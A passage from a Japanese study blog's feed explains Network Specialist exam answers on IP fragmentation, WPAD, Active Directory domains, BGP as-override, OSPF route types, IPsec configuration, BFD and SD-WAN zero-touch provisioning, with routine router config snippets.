<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">destination</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">200.2</span><span style="color: #E6DB74">.2.2</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">mode</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipip</span><span style="color: #F8F8F2">   </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">※GREの場合は「tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">mode</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">gre</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip」（デフォルト）</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #88846F">#! 作成した IPsec プロファイルをトンネルに適用</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">tunnel</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">protection</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ipsec</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">profile</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MY_PROFILE</span></span>
<span class="line"><span style="color: #66D9EF">exit</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc23">Q. IPフラグメントって何？&#8212;&#8212;-</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="950" height="141" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-37.png" alt="" class="wp-image-8165" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-37.png 950w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-37-300x45.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-37-761x113.png 761w" sizes="(max-width: 950px) 100vw, 950px" /></figure>



<p class="wp-block-paragraph">IPフラグメントとは、パケットのサイズ（IPヘッダーを含む全体の長さ）が、通過する経路の物理ポートの限界値（MTU：Maximum Transmission Unit）を超えたときに、途中のルーターがパケットを小さく分割して送出する処理のこと。</p>



<h4 class="wp-block-heading"><span id="toc24">Q.IPフラグメントのデメリットは？</span></h4>



<p class="wp-block-paragraph">A.大きく以下👇の３つがある。<br><strong>デメリット①：途中のルータに負荷がかかる。</strong><br><span class="fz-16px">　経路途中のルータでフラグメント処理を強いられると、負荷がかかる。</span><br><strong>デメリット②：1個でも破棄されると「全体が再送」になる（非効率）<br></strong><span class="fz-16px">　IPフラグメントで分割されたパケットは、受信側の端末（PCやサーバ）に届くまで元に戻せない。 もし分割された3つのうち1つでも途中でドロップ（パケットロスト）すると、受信端末は再構築できず、元の大きなパケット全体を最初から再送（TCP再送）させることになる。</span><br><strong>デメリット③：パケットの到着順序が入れ替わるとドロップしやすい<br></strong><span class="fz-16px">　分割されたパケットが別々のルートを通って到着順序がバラバラになると、受信側での復元処理（リアセンブル）が失敗しやすくなる。</span></p>



<h4 class="wp-block-heading"><span id="toc25">Q.IPフラグメントを防ぐ方法は？</span></h4>



<p class="wp-block-paragraph">A.MSSクランピングとPMTUDが代表的な解決方法。<br><strong>・MSSクランピング：<br></strong><span class="fz-16px">　TCP通信の開始時（3ウェイ・ハンドシェイク時）に、端末同士が「一度に送信できる最大データサイズ（MSS）」を宣言し合う。ルーターがその宣言をのぞき見して書き換える。「SYNパケット」を通過する際にMSSの値を勝手に小さく書き換える（クランプする）ことで、送信元PCに最初から小さいパケットを作らせる。</span><br><strong>・Path MTU Discovery：</strong><br>　端末自身が、宛先までの経路上で「最小のMTU」を自動で調べる仕組み。</p>



<h3 id="wpad" class="wp-block-heading"><span id="toc26">Q.WPADとは？&#8212;&#8211;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="904" height="98" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-40.png" alt="" class="wp-image-8169" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-40.png 904w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-40-300x33.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-40-766x83.png 766w" sizes="(max-width: 904px) 100vw, 904px" /></figure>



<p class="wp-block-paragraph">WPADとはWebProxyAuto-Discovery Protocolの略。一言で言うと、「PC（ブラウザ）にPACファイルの置き場所を自動で見つけさせる仕組み」。</p>



<h3 class="wp-block-heading"><span id="toc27">Q.WPADのDNS方式とは？</span></h3>



<p class="wp-block-paragraph">A.WPADには主に２つの代表的な手法がある。DNS方式とDHCP方式。では、こここでは<span class="bold-blue">DNS方式</span>を見ていこう！</p>



<p class="wp-block-paragraph">WindowsなどのOSやブラウザ（EdgeやChromeなど）には「WPADによるプロキシ自動検出ルール」が最初から仕様として組み込まれている。</p>



<ol start="1" class="wp-block-list">
<li>PCがLANに接続すると、自分の所属するドメイン名（例: <code>branch.example.co.jp</code>）を確認</li>



<li>OS/ブラウザが自動的に <code>wpad</code> というホスト名を先頭に付け足し、以下の順番でDNSサーバーへ問い合わせ（名前解決）を行う。
<ul class="wp-block-list">
<li><code>wpad.branch.example.co.jp</code></li>



<li><code>wpad.example.co.jp</code></li>
</ul>
</li>



<li>見つかったIPアドレス（Webサーバー）のルート直下にある <strong><code>/wpad.dat</code></strong>（PACファイルの中身と同じ）を自動取得しに行く。</li>
</ol>



<p class="wp-block-paragraph">つまり、ユーザーが何も設定しなくても、OSやブラウザが「プロキシを探すときはとりあえず <code>wpad.ドメイン名/wpad.dat</code> を見に行こう」とあらかじめプログラムされている、ということ。</p>



<p class="wp-block-paragraph"><a href="#3-1">設問３（１）に戻る</a></p>



<h3 class="wp-block-heading"><span id="toc28">Q.WPADのDHCP方式とは？</span></h3>



<p class="wp-block-paragraph">DHCP方式は 「DHCPサーバーがIPアドレスを配るタイミングで、PACファイルの置き場（URL）を親切にPCに教えてあげる」 という仕組み。<br>（DHCPはDiscover→Offer→Request→ACKのフローである）</p>



<ol start="1" class="wp-block-list">
<li><strong>PCがIPアドレスを要求（DHCP Discover / Request）</strong>
<ul class="wp-block-list">
<li>PCがネットワークに接続した際、DHCPサーバーに対して「IPアドレスをください！」とリクエストを送る。</li>



<li>このとき、PCは「<span class="blue">オプション252</span>のデータ（WPADのURL）も欲しいです」というフラグを含めて送る。</li>
</ul>
</li>



<li><strong>DHCPサーバーがIPアドレスとURLを返答（DHCP Offer / Ack）</strong>
<ul class="wp-block-list">
<li>DHCPサーバーは、PCに割り当てるIPアドレスやサブネットマスクと一緒に、<strong>「オ</strong>プション252（Option 252）」 という項目の中にPACファイルのURLを書き込んで返す。</li>



<li><strong>送信されるデータの例</strong>：<code>(http://192.168.1.100/proxy.pac)</code> や <code>(http://wpad.example.co.jp/wpad.dat)</code></li>
</ul>
</li>



<li><strong>PCがURLを読み取る</strong>
<ul class="wp-block-list">
<li>PCは受け取ったDHCP応答の中からオプション252の文字列を取り出し、「あ、プロキシ設定ファイルは <code>http://192.168.1.100/proxy.pac</code> にあるんだな」と理解する。</li>
</ul>
</li>



<li><strong>HTTPでPACファイルをダウンロード</strong>
<ul class="wp-block-list">
<li>PCは教えてもらったURLに対してHTTPリクエスト（<code>GET /proxy.pac</code>）を送り、PACファイルをダウンロードしてブラウザに設定を適用する。</li>
</ul>
</li>
</ol>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>DHCP方式（オプション252）</strong></td><td><strong>DNS方式（wpad.ドメイン名）</strong></td></tr></thead><tbody><tr><td><strong>最大のメリット</strong></td><td><strong>拠点ごとに違うPACファイルを簡単に配り分けられる</strong><br>（URL・ポート・ファイル名を自由に指定できる）</td><td><strong>DHCPサーバーがない環境や静的IPのPCでも動作する</strong><br>（DNSさえいれば動く）</td></tr><tr><td><strong>デメリット</strong></td><td>・一部の端末やブラウザ（古いAndroidや特定ブラウザ等）でサポート外の場合がある<br>・DHCPサーバー側の設定変更が必要</td><td>・ファイル名が <code>wpad.dat</code> / ポート80（HTTP）に固定される<br>・全拠点に同じ設定が配られやすい</td></tr><tr><td><strong>得意なケース</strong></td><td><strong>拠点ごとにプロキシ（UTMプロキシなど）を使い分けたい場合</strong><br>（今回の問題のようなローカルブレイクアウト構成）</td><td><strong>全社で1つのプロキシ（本社プロキシ）しか使っていないシンプルな環境</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><a href="#3-1">設問３（１）に戻る</a></p>



<h3 class="wp-block-heading"><span id="toc29">Q.ドメインとは？</span></h3>



<p class="wp-block-paragraph">先ほどのWPADのDNS方式では、「自分が所属しているドメインの配下にwpadをつけて名前解決を～」とあった。ここで出てきたドメイン。。。なんか、わかってそうだけど実は全然わかってないかも⁉では、見ていこう！</p>



<p class="wp-block-paragraph">A.ドメインは、「同じルール（ポリシー）で管理される1つの大きな部屋（組織）」のイメージ。<br>DNSのドメインと同じ考え方をするとしっくりくる。ユーザの所属ドメインさえわかれば、そのドメインを管理しているサーバに認証可否を依頼すれば、それで認証プロセスを進ませることができる。<br>これはDNSも一緒。そのドメインを管理しているサーバに情報を聞きに行けばそれに付随した情報が手に入る。ドメインと仕組みがあるからこそ、その情報の管理者を明確にでき一元的な管理・プロセスを可能にすることができる。</p>



<h4 class="wp-block-heading"><span id="toc30">Q.なんでADでもDNSと同じドメイン名（example.co.jp など）を使うの？ADのドメインとDNSのドメインってなに？</span></h4>



<p class="wp-block-paragraph">A.実は、AD（管理の仕組み）は、土台としてDNS（名前解決の仕組み）を全面採用して作られている。その結果、ネットワーク上の他の機器を探すとき（例：WPADを探すとき）に、自動的に自分のADドメイン名を後ろにくっつけて <strong><code>wpad.example.co.jp</code></strong> というDNS名を作り出し、DNSサーバーに名前解決を聞きにいけるようになる。</p>



<p class="wp-block-paragraph"><strong>ADが動くにはDNSが必須</strong>：<br>　・AD管理下のPCが「ログイン認証をしてくれるADサーバー（ドメインコントローラー）」を探すとき、裏側でDNSを使って検索する。<br>　・そのため、ADのグループ名をつくるときに、そのまま<strong>DNSのドメイン名（<code>example.co.jp</code>）をADのグループ名として兼用する設計</strong>になっている。</p>



<p class="wp-block-paragraph"><strong>共通の「苗字」として機能する</strong>：<br>　・PCが <code>example.co.jp</code> というADドメインに参加すると、PC自身も「自分は <code>example.co.jp</code> というグループの一員だ」と認識する。</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和6年（2024年）ネスペ午後Ⅰ　問Ⅱ　解答解説</title>
		<link>https://ascend-beyond.com/study/8118/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Wed, 09 Sep 2026 02:55:03 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8118</guid>

					<description><![CDATA[設問１ （１）ア：カスタマー　イ：再配布　ウ：DMZ　エ：eBGP　オ：プライベート　カ：ポリシーベース ア：カスタマー/イ：再配布/エ：eBGP/オ：プライベート　この空欄に関しては知識問題であるため説明は割愛 ウ：D [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問１</span></h2>



<h3 class="wp-block-heading"><span id="toc2">（１）ア：カスタマー　イ：再配布　ウ：DMZ　エ：eBGP　オ：プライベート　カ：ポリシーベース</span></h3>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">ア：カスタマー/イ：再配布/エ：eBGP/オ：プライベート<br></span></strong>　この空欄に関しては知識問題であるため説明は割愛</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">ウ：DMZ　</span></strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="899" height="148" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-25.png" alt="" class="wp-image-8140" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-25.png 899w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-25-300x49.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-25-765x126.png 765w" sizes="(max-width: 899px) 100vw, 899px" /></figure>



<p class="wp-block-paragraph">問題の雰囲気的に「インターネット・OSPF・配布」という単語から、つい「デフォルトルート」と回答してしまうかもしれない。しかし、その単語をいれると「デフォルトルートのサブネットを～」と書いてあり、文章として成立しなくなってしまう。<span class="blue">デフォルトルートは特定のサブネットではない</span>から！<br>文脈として可能性が最も高いのは「インターネットアクセス、特定のサブネット、HTTP/HTTPS」という単語からプロキシサーバが配置されている<strong>DMZ</strong>という回答になる。</p>



<p class="wp-block-paragraph"><strong>Q.DMZではなく、プロキシサーバ単体で広告すれば？<br></strong>DMZのプレフィックスよりもプロキシサーバ単体でよくね？<br>A.大抵の場合、DMZには複数の機器が収容されている。そのため、それらを一つずつ広告するとエントリー消費が無駄になる。なので、DMZのプレフィックスでまとめて広告している。</p>



<p class="wp-block-paragraph"><strong>Q.プロキシサーバまで行くのはPACファイルで登録すればいいのでは？<br></strong>PACファイルなどでPC内にデフォルトルートでプロキシサーバの場所を埋め込んじゃえば、プロキシサーバに関する広告は不要では？<br>A.PACファイルはプロキシのIPはわかるが、経路まではわからない。広告をすることで経路が明確になる。以下、フローで確認しよう。<br><strong>▼PCからプロキシまでのフロー<br></strong>① PCがPACファイル参照（宛先: プロキシIP）<br>② 最寄りのL3SWへ送信<br>③ L3SWはOSPFで学んだ「DMZサブネット宛て」の経路に従いルータへ<br>④ ルータからMPLS VPN（BGP）を渡ってデータセンターのPE1/ルータ1へ<br>⑤ 本社のL3SW1 ➔ FW ➔ DMZ内のプロキシサーバーに到着！<br>このように、宛先に届かすには経路広告の情報が必要となる。</p>



<p class="wp-block-paragraph"><strong><span style="text-decoration: underline;">カ：ポリシーベースルーティング</span></strong><br>　ポリシーベースルーティングとはルーティングプロトコルによって導きだされたSPFではなく、定義したポリシー（条件）ごとにルーティング経路や優先度を変更させること。逆を言えば、最適経路以外でも、余裕で使われるということ。</p>



<h2 class="wp-block-heading"><span id="toc3">設問２</span></h2>



<h3 class="wp-block-heading"><span id="toc4">（１）a: 10.3.0.0/16　b:64500 64500</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="922" height="112" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-23.png" alt="" class="wp-image-8137" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-23.png 922w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-23-300x36.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-23-766x93.png 766w" sizes="(max-width: 922px) 100vw, 922px" /></figure>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong></strong></td><td><strong>Prefix</strong></td><td><strong>AS PATH</strong></td></tr></thead><tbody><tr><td>as-override 設定無し</td><td>a:10.3.0.0/16</td><td>64500 65500</td></tr><tr><td>as-override 設定有り</td><td>a:10.3.0.0/16</td><td>b:64500 64500</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">a:10.3.0.0/16<br> これに関しては、支店Vの経路情報が届いているので、表２より支店Vのプレフィックスである<strong>10.3.0.0/16</strong>を書けばよい。</p>



<p class="wp-block-paragraph">b:64500 64500<br>　as-overrideを使うと、AS-PATHが上書きされる。G社のASは65500だとわかるので、64500がL社のAS番号であるとわかる。つまり、65500を64500で上書きするだけなので、<strong>64500 64500</strong>となる。<br>＊ちなみにAS-PATHは右側が発信源で、左にどんどん追加していく。なので、「50000 60000 70000」というようなAS-PAHTがあったら、70000が最も遠く50000が最も自分の近くにあるASであると判断できる。</p>



<h2 class="wp-block-heading"><span id="toc5">設問３</span></h2>



<h3 class="wp-block-heading"><span id="toc6">（２）タイプ：Type５　機器：ルータ３</span></h3>



<p class="wp-block-paragraph">まずは背景を整理しよう。<br>　背景：<br>　　・データセンターからのDMZに関する広告がBGPを経由して流れてくる<br>　　・で、その広告がOSPFに入るときにどのタイプになるか<br>　　・また、そのOSPF広告を流したのはだれか？<br>ということから答えを導いていこう。<br><br>まず、BGPからOSPFに経路が入るということは外部経路なので<strong>Type５</strong>であることが分かる。で、かつ、外部経路をOSPFに変換する機器はどこか？と考えると、BGPとOSPFの両方のプロトコルが稼働しているのはルータであることが分かる。で、問題では支店V社にフォーカスしているので、支店V社におけるルータはルータ３なので答えは<strong>ルータ３</strong>となる。</p>



<h2 class="wp-block-heading"><span id="toc7">設問４</span></h2>



<h3 class="wp-block-heading"><span id="toc8">（１）IPsecトンネル確立のためのIPアドレス、IPsecトンネル確立のための鍵情報</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="915" height="143" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-26.png" alt="" class="wp-image-8141" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-26.png 915w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-26-300x47.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-26-768x120.png 768w" sizes="(max-width: 915px) 100vw, 915px" /></figure>



<p class="wp-block-paragraph">では、まずはSD-WANとかは置いといてIPsecに必要な情報を整理していこう！<br>▼IPsecに必要な情報<br><span class="fz-16px">・相手のIPアドレス</span><br><span class="fz-16px">・認証用の鍵情報<br>・暗号化方法<br>・認証方法<br>・ハッシュ方法<br>・Diffie-Hellmanのグループ番号<br></span>・<span class="fz-16px">ライフタイム</span></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="crypto isakmp key パスワード address 相手のIPアドレス #相手のIPアドレス＆認証用の鍵情報
crypto isakmp policy ポリシー番号
 encryption aes #暗号化方法
 authentication pre-share #認証方法
 hash sha256 #ハッシュ方法
 group 14 #Diffie-Hellmanのグループ番号
 lifetime 3600 #ライフタイム" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">crypto</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">isakmp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">address</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">相手のIPアドレス</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#相手のIPアドレス＆認証用の鍵情報</span></span>
<span class="line"><span style="color: #A6E22E">crypto</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">isakmp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">policy</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ポリシー番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">encryption</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">aes</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#暗号化方法</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">authentication</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">pre-share</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#認証方法</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">hash</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">sha256</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#ハッシュ方法</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">group</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">14</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#Diffie-Hellmanのグループ番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">3600</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#ライフタイム</span></span></code></pre></div>



<p class="wp-block-paragraph">以上の情報の中で、相手が変わっても変化がない情報は「暗号化方法・認証方法・ハッシュ方法・Diffie-Hellmanのグループ番号・ライフタイム」である。逆に相手に応じてかける必要がある情報は「<strong>相手のIPアドレス・認証用の鍵情報</strong>」である。<br>言い換えると、前者の相手が変わっても変化がない情報はSD-WANコントローラーがポリシーとして一括配布できる情報である。一方、後者はSD-WANルータ毎に配らなければならない情報である。</p>



<p class="wp-block-paragraph">上記の前提を念頭に置いたうえで、問題文を確認すると「SD-WAN装置ごとの～と、IPsecトンネルを構築するための情報」と書かれているので、SD-WAN装置毎に送らなければならない情報は<strong>相手のIPアドレス・認証用の鍵情報</strong>である。</p>



<h3 class="wp-block-heading"><span id="toc9">（２）IPsecトンネルに障害があった場合の検出を高速にする</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="808" height="43" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-30.png" alt="" class="wp-image-8150" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-30.png 808w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-30-300x16.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-30-752x40.png 752w" sizes="(max-width: 808px) 100vw, 808px" /></figure>



<p class="wp-block-paragraph">BFDとはBidirectional Forwarding Detection（双方向転送検出）の略。通信経路（トンネルや物理リンク）の障害を<span class="blue">ミリ秒単位</span>で超高速に検知する軽量プロトコル。<br>そのため、BFDを使うことで、<strong><span style="text-decoration: underline;">IPsecトンネルに障害があった場合の検出を高速にすることができる</span></strong>。</p>



<p class="wp-block-paragraph">また、障害検知だけでなく、以下のように👇より細かな情報も取得できる。<br><span class="fz-16px"><strong>レイテンシー（遅延）：</strong> パケットの往復にかかる時間<br><strong>パケットロス（欠損率）：</strong> 通信がどれくらい途切れているか<br><strong>ジッター（パケブレ）：</strong> 遅延の揺らぎ・ばらつき</span></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><span id="toc10">さらに深いVersion&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</span></h2>



<h3 class="wp-block-heading"><span id="toc11">p.9 支店が追加されたら、どのような変更があるの？ｰｰｰｰｰｰｰｰｰｰｰｰｰｰ</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="852" height="299" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18.png" alt="" class="wp-image-8124" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18.png 852w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-300x105.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-767x269.png 767w" sizes="(max-width: 852px) 100vw, 852px" /></figure>



<p class="wp-block-paragraph">Q.視点を追加すると変更作業が起きると書かれている。が、実際にはどのような変更作業があるのか？</p>



<p class="wp-block-paragraph">A.結論から言うと、現行構成（MPLS VPN＋BGP/OSPF）のまま支店を増やす場合、「新規支店以外の既存拠点（データセンターや本社など）」でのルータ設定変更作業はほぼ発生しない。<br>新規拠点側ではルータのコンソールに接続し、IPアドレス、eBGP設定、OSPF再配布、ルートフィルタなどを1台ずつ手動でコマンド設定（CLI）する必要がある。しかし、新拠点のサブネット情報は、BGPとOSPFの再配布によって自動的にデータセンターや本社、他支店へ伝播する。そのため、既存ルータの設定をわざわざいじる必要はない。</p>



<h3 class="wp-block-heading"><span id="toc12">p.9 現行構成における課題と、SD-WAN導入による改善点</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>項目</strong></td><td><strong>現行構成（MPLS VPN）</strong></td><td><strong>SD-WAN導入後</strong></td></tr></thead><tbody><tr><td><strong>現地作業</strong></td><td>専門技術者が現地へ行き、ルータにコマンドを打ち込んで設定</td><td>現地作業員は箱を開けてLAN/WANケーブルを挿すだけ（<strong>ゼロタッチプロビジョニング / ZTP</strong>）</td></tr><tr><td><strong>設定の管理</strong></td><td>拠点ごとにルータのコンソールに入って個別に設定・管理</td><td>クラウド上の<strong>SD-WANコントローラーで全拠点を一元管理</strong></td></tr><tr><td><strong>回線の追加</strong></td><td>MPLS回線の開通を待つ必要があり、導入に時間がかかる</td><td>安価な一般インターネット回線を引き、IPsecトンネルを全自動で網の目（メッシュ）状に張り巡らせることが可能</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc13">Q.どうやってSD-WANはゼロタッチプロビジョニングを実現しているの？</span></h3>



<p class="wp-block-paragraph">A.コントローラからポリシーを配布してもらっている。では、フローを見ながらSD-WANにおけるゼロタッチプロビジョニングを確認していこう！</p>



<p class="wp-block-paragraph">▼<strong>SD-WAN 起動〜設定完了までの詳細フロー</strong><br><strong>1：出荷および事前準備（ベンダーX社・クライアントA社）</strong></p>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>機器の出荷と登録（X社）：</strong> X社はSD-WANルータを工場から発送する際、そのルータの個体識別情報（<span class="blue">シリアル番号やMACアドレス等</span>）と「A社」の顧客情報を紐づけて、自社の「<span class="blue">中央集権型ZTPリダイレクトサーバー</span>」のデータベースに登録する。</span></li>



<li><span class="fz-16px"><strong>初期ハードコーディング（X社）：</strong> ルータのファームウェアには、無条件で「X社の中央集権型ZTPリダイレクトサーバー（例: <code>ztp.vendor-x.com</code>）」へアクセスする宛先情報が最初から組み込まれている。</span></li>



<li><span class="fz-16px"><strong>事前にコントローラーでのポリシー定義（A社）：</strong> A社のネットワーク管理者は、クラウド上の「A社専用SD-WANコントローラー」の管理画面にて、新規追加するルータのシリアル番号を指定し、適用させたいネットワーク設定（IPアドレス、BGP/OSPF、IPsecトンネル、VPNポリシーなど）を作成しておく。</span></li>
</ul>



<p class="wp-block-paragraph"><strong>2：現地設置および自動リダイレクト（現地・ZTPサーバー）</strong></p>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>現地設置と電源投入（現地）：</strong> 現地作業員（専門知識不要）がルータを箱から取り出し、LAN/WANケーブルを挿して電源を入れる。</span></li>



<li><span class="fz-16px"><strong>中央サーバーへのアクセス（ルータ ➔ X社ZTP）：</strong> ルータは起動後、<span class="blue">ハードコード</span>された宛先（<code>ztp.vendor-x.com</code>）へ自動で通信を行い、「私のシリアル番号は <code>SN12345</code> です。私の接続先コントローラーを教えてください」とリクエストを送信する。</span></li>



<li><span class="fz-16px"><strong>契約情報の照合と案内（X社ZTP ➔ ルータ）：</strong> X社ZTPサーバーは、受信したシリアル番号 <code>SN12345</code> をデータベースと照合し、「この機器はA社所有」であることを特定する。特定後、ルータに対して「A社専用コントローラーのFQDN/IPアドレス（例: <code>controller.a-company.com</code>）」を応答（リダイレクト案内）する。</span></li>
</ul>



<p class="wp-block-paragraph"><strong>3：認証および設定ファイルの適用（ルータ ➔ A社コントローラー）</strong></p>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>専用コントローラーへの接続（ルータ ➔ A社コントローラー）：</strong> ルータは案内された「A社専用コントローラー」へアクセスし、<span class="blue">証明書等</span>を用いて安全な暗号化通信（<span class="blue">TLSトンネル</span>）を確立する。</span></li>



<li><strong>設定データ（構成定義）の配布（A社コントローラー ➔ ルータ）：</strong> A社コントローラーは、接続してきたルータのシリアル番号を認証し、あらかじめ準備しておいた設定データ（JSON、XML、YANGモデル形式など）を<span class="blue">TLSトンネル経由で流し込む</span>。</li>



<li><strong>設定の自動反映（ルータ内部）：</strong> ルータ内のOS（エージェント）が受け取った設定データを解析し、<span class="blue">ルーティングテーブルの構築</span>、<span class="blue">IPsecトンネルの確立</span>、<span class="blue">OSPF/BGPプロセスの起動</span>などを自動で実行・適用する。</li>
</ul>



<p class="wp-block-paragraph"><strong>4：開通・運用開始</strong></p>



<ul class="wp-block-list">
<li><span class="fz-16px"><strong>オーバーレイ網の確立と開通：</strong> 設定完了後、他の拠点のSD-WANルータとの間で自動的にIPsecトンネルが立ち上がり、オーバーレイネットワークの通信がスタートする。</span></li>
</ul>



<h3 class="wp-block-heading"><span id="toc14">Q.従来のZTPとSD-WANのZTPの違いは？</span></h3>



